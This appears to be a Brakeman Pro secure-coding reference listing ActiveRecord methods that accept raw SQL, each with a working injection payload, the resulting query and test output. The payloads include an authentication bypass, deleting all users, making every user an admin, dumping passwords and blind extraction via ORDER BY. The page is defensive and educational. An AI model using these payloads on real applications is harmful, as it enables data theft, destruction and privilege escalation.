Rails SQL Injection

Overview

The Ruby on Rails web framework provides a library called ActiveRecord which provides an abstraction for accessing databases.

This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input. Careless use of these methods can open up code to SQL Injection exploits. The examples here do not include SQL injection from known CVEs and are not vulnerabilities themselves, only potential misuses of the methods.

Please use this list as a guide of what not to do.

This list is in no way exhaustive or complete! Please feel free to contribute.

Examples

Each method or option described below is accompanied by an example demonstrating how the ActiveRecord interface could be exploited if used unsafely. These are not necessarily the worst exploits, they represent just a small hint of what could be accomplished if one is not careful. The examples on this page were tested with Rails 4.2.11.1 and SQLite 3.

Interactive Version

Clone and run this site from the git repo to try out or modify the examples!

Calculate Methods

There are several methods based around ActiveRecord::Calculations#calculate.

calculate takes an operation, a column name, and an options hash similar to ActiveRecord::FinderMethods#find. Methods based on calculate are shortcuts for different operations, and take a column name and options hash as arguments.

In addition to the vulnerable options listed for find, the column name argument can also accept SQL!

Calculation methods:

  • average
  • calculate
  • count
  • maximum
  • minimum
  • sum

Example

This example finds the age of a specific user, rather than the sum of all user ages.

params[:column] = "age) FROM users WHERE name = 'Bob';"
Order.calculate(:sum, params[:column])
Query
SELECT SUM(age) FROM users WHERE name = 'Bob';) FROM "orders"
Result
74

Delete All Method

Any methods which delete records should be used with care!

The delete_all method takes the same kind of conditions arguments as find. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to delete_all.

Example

This example bypasses any conditions and deletes all users.

params[:id] = "1) OR 1=1--"
User.delete_all("id = #{params[:id]}")
Query
DELETE FROM "users" WHERE (id = 1) OR 1=1--)
Result
6

Destroy All Method

Any methods which delete records should be used with lots of caution! destroy_all is only slightly safer than delete_all since it will invoke callbacks associated with the model.

The destroy_all method takes the same kind of conditions arguments as find. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to destroy_all.

Example

This example bypasses any conditions and deletes all users.

Because ActiveRecord needs to instantiate each object, this query is performed in a transaction. The SQL for selecting the records to delete (where the injection occurs) looks like this:

SELECT "users".* FROM "users" WHERE (id = NULL AND admin = '') OR 1=1--')

params[:admin] = "') OR 1=1--'"
User.destroy_all(["id = ? AND admin = '#{params[:admin]}", params[:id]])
Query
commit transaction
Result
[#<User id: 13, name: "Bob", password: "Bobpass", age: 61, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 14, name: "Jim", password: "Jimpass", age: 22, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 15, name: "Sarah", password: "Sarahpass", age: 59, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 16, name: "Tina", password: "Tinapass", age: 33, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 17, name: "Tony", password: "Tonypass", age: 59, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 18, name: "Admin", password: "supersecretpass", age: 65, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]

Exists? Method

The exists? method is used to check if a given record exists. The argument is usually a primary key. If the argument is a string, it will be escaped. If the argument is an array or hash, it will be treated like a conditions option.

However, code like this is not safe:

User.exists? params[:user]

Since Rails will automatically convert parameters to arrays or hashes, it is possible to inject any SQL into this query.

For example,

?user[]=1

Will generate the query

SELECT  1 AS one FROM "users"  WHERE (1) LIMIT 1

This query will always return true. To be be safe, convert user input to a string or integer if using it as the primary key in exists?.

Example

This is more obvious than the example above, but demonstrates checking another table for a given value.

params[:user] = "') or (SELECT 1 FROM 'orders' WHERE total > 1)--"
User.exists? ["name = '#{params[:user]}'"]
Query
SELECT 1 AS one FROM "users" WHERE (name = '') or (SELECT 1 FROM 'orders' WHERE total > 1)--') LIMIT 1
Result
true

Find By Method

Added in Rails 4, the find_by/find_by! methods are simply calling where(*args).take, so all the options for where also apply.

Note that find_or_create_by / find_or_create_by! / find_or_initialize_by all call find_by and are therefore vulnerable to SQL injeection in the same way.

The safest (and most common) use of these methods is to pass in a hash table.

Example

This will find users who are admins.

params[:id] = "admin = 't'"
User.find_by params[:id]
Query
SELECT "users".* FROM "users" WHERE (admin = 't') LIMIT 1
Result
#<User id: 30, name: "Admin", password: "supersecretpass", age: 22, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">

From Method

The from method accepts arbitrary SQL.

Example

Instead of returning all non-admin users, we return all admin users.

params[:from] = "users WHERE admin = 't';"
User.from(params[:from])
Query
SELECT "users".* FROM users WHERE admin = 't';
Result
#<ActiveRecord::Relation [#<User id: 36, name: "Admin", password: "supersecretpass", age: 63, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Group Method

The group method accepts arbitrary SQL strings.

Example

The intent of this query is to group non-admin users by the specified column. Instead, the query returns all users.

params[:group] = "name UNION SELECT * FROM users"
User.where(:admin => false).group(params[:group])
Query
SELECT "users".* FROM "users" WHERE "users"."admin" = ? GROUP BY name UNION SELECT * FROM users
Result
#<ActiveRecord::Relation [#<User id: 37, name: "Bob", password: "Bobpass", age: 23, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 38, name: "Jim", password: "Jimpass", age: 27, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 39, name: "Sarah", password: "Sarahpass", age: 28, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 40, name: "Tina", password: "Tinapass", age: 56, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 41, name: "Tony", password: "Tonypass", age: 19, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 42, name: "Admin", password: "supersecretpass", age: 30, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Having Method

The having method does not escape its input and is easy to use for SQL injection since it tends to be at the end of a query.

Example

This input injects a union in order to return all orders, instead of just the orders from a single user.

params[:total] = "1 UNION SELECT * FROM orders"
Order.where(:user_id => 1).group(:user_id).having("total > #{params[:total]}")
Query
SELECT "orders".* FROM "orders" WHERE "orders"."user_id" = ? GROUP BY "orders"."user_id" HAVING total > 1 UNION SELECT * FROM orders
Result
#<ActiveRecord::Relation [#<Order id: 22, user_id: 1, total: 10, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<Order id: 23, user_id: 3, total: 500, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<Order id: 24, user_id: 4, total: 1, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Joins Method

The joins method can take an array of associations or straight SQL strings.

Example

Skip WHERE clause and return all orders instead of just the orders for the specified user.

params[:table] = "--"
Order.joins(params[:table])
Query
SELECT "orders".* FROM "orders" --
Result
#<ActiveRecord::Relation [#<Order id: 25, user_id: 1, total: 10, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<Order id: 26, user_id: 3, total: 500, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<Order id: 27, user_id: 4, total: 1, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Lock Method and Option

The lock method and the :lock option for find and related methods accepts a SQL fragment.

Example

Not a real example: SQLite does not support this option.

params[:lock] = "?"
User.where(1).lock(params[:lock])
Query
SELECT "users".* FROM "users" WHERE (1)
Result
#<ActiveRecord::Relation [#<User id: 55, name: "Bob", password: "Bobpass", age: 73, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 56, name: "Jim", password: "Jimpass", age: 36, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 57, name: "Sarah", password: "Sarahpass", age: 27, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 58, name: "Tina", password: "Tinapass", age: 27, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 59, name: "Tony", password: "Tonypass", age: 73, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 60, name: "Admin", password: "supersecretpass", age: 39, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Order Method

The order method accepts any SQL string.

Example

Taking advantage of SQL injection in ORDER BY clauses is tricky, but a CASE statement can be used to test other fields, switching the sort column for true or false. While it can take many queries, an attacker can determine the value of the field.

params[:sortby] = "(CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END)"
User.order("#{params[:sortby]} ASC")
Query
SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC
Result
#<ActiveRecord::Relation [#<User id: 66, name: "Admin", password: "supersecretpass", age: 44, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 61, name: "Bob", password: "Bobpass", age: 28, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 62, name: "Jim", password: "Jimpass", age: 39, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 63, name: "Sarah", password: "Sarahpass", age: 29, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 64, name: "Tina", password: "Tinapass", age: 35, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">, #<User id: 65, name: "Tony", password: "Tonypass", age: 49, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Pluck Method

The pluck method is intended to select a specific column from a table. Instead, it accepts any SQL statement at all. This allows an attacker to completely control the query from SELECT onwards.

However, the return result will still be an array of values from a single column.

Example

Output the passwords from the users table.

params[:column] = "password FROM users--"
Order.pluck(params[:column])
Query
SELECT password FROM users-- FROM "orders"
Result
["Bobpass", "Jimpass", "Sarahpass", "Tinapass", "Tonypass", "supersecretpass"]

Reorder Method

The reorder method is not very common, but it accepts any SQL fragment just like the order method.

Example

The reorder method is vulnerable to the same type of injection attacks as order.

params[:order] = ", 8"
User.order("name DESC").reorder("id #{params[:order]}")
Query
SELECT "users".* FROM "users" ORDER BY id , 8
Result
SQLite3::SQLException: 2nd ORDER BY term out of range - should be between 1 and 7: SELECT "users".* FROM "users" ORDER BY id , 8

Select Method

The :select option allows complete control over the SELECT clause of the query.

Example

Since the SELECT clause is at the beginning of the query, nearly any SQL can be injected.

params[:column] = "* FROM users WHERE admin = 't' ;"
User.select(params[:column])
Query
SELECT * FROM users WHERE admin = 't' ; FROM "users"
Result
#<ActiveRecord::Relation [#<User id: 84, name: "Admin", password: "supersecretpass", age: 42, admin: true, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">]>

Where Method

The where method can be passed a straight SQL string. Calls using a hash of name-value pairs are escaped, and the array form can be used for safely parameterizing queries.

Example

The example below is using classic SQL injection to bypass authentication.

params[:name] = "') OR 1--"
User.where("name = '#{params[:name]}' AND password = '#{params[:password]}'").first
Query
SELECT "users".* FROM "users" WHERE (name = '') OR 1--' AND password = '') ORDER BY "users"."id" ASC LIMIT 1
Result
#<User id: 85, name: "Bob", password: "Bobpass", age: 59, admin: false, created_at: "2022-06-02 06:45:10", updated_at: "2022-06-02 06:45:10">

Update All Method

Like delete_all, update_all accepts any SQL as a string.

User input should never be passed directly to update_all, only as values in a hash table.

Example

Update every user to be an admin.

params[:name] = "' OR 1=1;"
User.update_all("admin = 1 WHERE name LIKE '%#{params[:name]}%'")
Query
UPDATE "users" SET admin = 1 WHERE name LIKE '%' OR 1=1;%'
Result
6

More Resources

This site is brought to you by the folks at Brakeman Pro.

More information about Rails security:

This site is also available as a Rails application. To interact with this site dynamically and try out different SQL injection attacks you can clone the code and run it locally. Contributions and corrections are welcome!